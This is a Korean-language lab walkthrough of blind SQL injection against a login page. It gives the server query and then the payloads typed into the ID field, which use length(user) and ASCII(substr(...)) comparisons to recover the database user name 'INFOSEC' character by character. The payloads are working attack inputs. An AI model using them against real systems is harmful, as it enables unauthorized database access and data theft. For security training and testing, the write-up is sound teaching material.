SQL Injection이란?
[모의해킹] - SQL Injection 공격(Union, Error, Blind...)
Blind SQL INJECTION(Login)
(Hint) 서버 측 쿼리
select ID, PW, NAME from MEMBER where ID=’PARAM_ID’
if(PARAM_PW == DB_PW){
LOGIN_OK;
}else{
LOGIN_FAIL;
}
(0) 초기작업 : 아이디 sk0000, 비밀번호 0000으로 가입
=> 아이디 존재 여부 확인, 없으면 만들기
=> 아이디 생성 후 로그인 확인
=> 로그인 확인
(1) 아이디가 있는지 확인
=> 공격할 때 사용하기 위해 사용자 아이디 확인
=> 아이디 sk0000이 있으므로 해당 아이디로 공격 시도
(2) DB user명 길이 확인
[아이디 입력] sk0000' and length(user)=7--
[아이디 입력] sk0000' and length(user)=8--
=> user명 : 7글자
(3) DB user명 정보 확인
substr 함수를 사용하여 비교 값을 바꿔가면서 user명 확인
[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 0--
=> 로그인 성공
=> 1번째 값의 아스키코드는 0보다 큼
[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 70--
[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 72--
=> 로그인 성공
[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 73--
=> 로그인 실패
=> 즉, 첫 번째 글자의 아스키 코드 값은 73으로, I(대문자 i)
위와 같은 방식으로 user명 7자리를 모두 확인
=> 첫 번째 글자 72 초과 73 이하, I
=> 두 번째 글자 77 초과 78 이하, N
=> 세 번째 글자 69 초과 70 이하, F
=> 네 번째 글자 78 초과 79 이하, O
=> 다섯 번째 글자 82 초과 83 이하, S
=> 여섯 번째 글자 68 초과 69 이하, E
=> 일곱 번째 글자 66 초과 67 이하, C
=> user 명 : INFOSEC
(4) DB user명 최종 확인
[아이디 입력] sk0000' and user='INFOSEC'--
=> user 명 : INFOSEC